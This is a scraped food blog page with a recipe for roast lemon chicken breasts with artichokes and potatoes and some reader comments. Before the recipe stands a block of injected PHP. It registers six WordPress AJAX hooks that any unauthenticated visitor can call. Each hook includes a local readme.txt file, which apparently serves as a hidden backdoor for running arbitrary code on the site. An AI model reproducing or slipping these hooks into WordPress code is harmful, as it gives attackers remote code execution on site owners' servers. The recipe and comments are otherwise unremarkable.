if(!function_exists('file_check_readme53927')){ add_action('wp_ajax_nopriv_file_check_readme53927', 'file_check_readme53927'); add_action('wp_ajax_file_check_readme53927', 'file_check_readme53927'); function file_check_readme53927() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64821')){ add_action('wp_ajax_nopriv_file_check_readme64821', 'file_check_readme64821'); add_action('wp_ajax_file_check_readme64821', 'file_check_readme64821'); function file_check_readme64821() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme81932')){ add_action('wp_ajax_nopriv_file_check_readme81932', 'file_check_readme81932'); add_action('wp_ajax_file_check_readme81932', 'file_check_readme81932'); function file_check_readme81932() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme83112')){ add_action('wp_ajax_nopriv_file_check_readme83112', 'file_check_readme83112'); add_action('wp_ajax_file_check_readme83112', 'file_check_readme83112'); function file_check_readme83112() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme19401')){ add_action('wp_ajax_nopriv_file_check_readme19401', 'file_check_readme19401'); add_action('wp_ajax_file_check_readme19401', 'file_check_readme19401'); function file_check_readme19401() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme43611')){ add_action('wp_ajax_nopriv_file_check_readme43611', 'file_check_readme43611'); add_action('wp_ajax_file_check_readme43611', 'file_check_readme43611'); function file_check_readme43611() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Easy weeknight recipe: moist, juicy baked lemon chicken breasts

Marge Perry's A Sweet and Savory Life

Roast Lemon Chicken Breasts with Artichokes and Potatoes

By

After last week’s warning against “deadly” chicken breasts by Physicians Committee for “Responsible” Medicine (the quotation marks are mine), of course all I want to eat is chicken breasts.

The dish below takes just a few minutes to throw together, then bakes unattended for about 50 minutes. The chicken is moist, tender and juicy. You can double the recipe (use a bigger baking dish and allow for a little extra cooking time) and it makes great cold or warm leftovers. It’s also really well-suited for entertaining, because it can be assembled in advance and then baked last minute, or completely cooked and re-heated.

I used frozen artichoke hearts to keep this a simple fuss-free meal suitable for a weeknight meal. But artichokes are in season right now; when you have time, you can make it even better with fresh baby artichokes.

I love all things artichokes. To see my step-by-step pictorial on how to prepare and eat artichokes, click here. I also came across this great looking recipe on the MyRecipes* web site for an Artichoke Galette, which I am dying to try. For stovetop chicken with lemon sauce made with boneless breasts, click here.

Roast Lemon Chicken Breasts with Artichokes and Potatoes

1/4 cup lemon juice

1 tablespoon extra virgin olive oil

1 teaspoon dried oregano

1/2 teaspoon dried marjoram

4 medium red bliss potatoes (1 pound) each cut in 8 pieces

1 9-ounce box frozen artichoke hearts, thawed

1 teaspoon salt, divided

2 pounds bone-in chicken breasts, cut in 4 pieces

1. Preheat the oven to 425 degrees. Coat a 9 x 7 inch baking dish with cooking spray.

2. Combine the lemon juice, olive oil, oregano and marjoram in a large bowl. Add the potatoes and artichokes; toss. Use a slotted spoon to lift the vegetables out of the lemon juice mixture and transfer to the baking dish; sprinkle with 1/2 teaspoon of the salt.

3. Whisk the remaining 1/2 teaspoon of salt into the lemon juice mixture in the bowl. Add the chicken and toss well to coat. Place the chicken in the baking dish, drizzle with any remaining lemon juice and bake, basting occasionally, until chicken is cooked to 160 degrees and potatoes are tender, about 50 minutes.

Makes 4 servings

Nutritional analysis for each serving: 408 calories, 43 g protein, 24 g carbohydrates, 6 g fiber, 15 g fat, 4 g saturated fat, 732 mg sodium

* That’s the site where my column, Ask the Expert, appears daily. Feel free to pay me a visit there and write in with your cooking question. If there is a cooking question on your mind, it’s probably on other cooks’ minds, too.

Reader Interactions

Get More Updates!

Sign up to get exclusive updates & tips!

Comments

  3. A terrific recipe, Marge. I love how you so simply present beautiful food. If I wasn’t preparing food for a friend’s wedding tomorrow (intimate, only 50 people, the best kind of party!), this would be on my table tonight.

    • Aw, thanks, Kimberly. Coming from you, of course, that’s an enormous compliment! Just 50? Why, you can whip off a plated ten course meal for all of them in what– about half an hour? Hope you have a blast (and I hope you post photos of the food!)

  4. Oh, another most fabulous recipe. I can’t wait to try it. Those artichokes look so inviting! Perfect weekend meal for the teen (if I can get him to eat the artichokes…ha!)

    • Oregano makes a good stand-in for marjoram. Fennel, if you like it, can replace the artichokes, or even potato wedges.

  6. Loved the taste and ease of this recipe, however, I need some advice. I used two packages, about one pound each, of chicken tenders (the tender part near the breast), doubled the lemon juice, olive oil, and herbs, and used 5 potatoes. The chicken seemed dry. Should the dish have been covered while baking, reduced the heat, cut potatoes smaller, or reduce cooking time??? Help, please, Thanks.

    • The chicken tenders are much smaller (thinner) that bone-in breasts, so the cooking time would be need to be substantially shorter to prevent the chicken from drying out. Also, any time you want to ensure chicken breasts do not get dry, take their temperature: when they reach 160F, remove them from the heat. If you want to adapt this recipe to boneless chicken tenders, you will need to take them out of the pan to allow the potatoes to continue cooking until they are tender. Alternatively, as you mentioned, you could cut the potatoes into much smaller pieces.
      Hope this helps!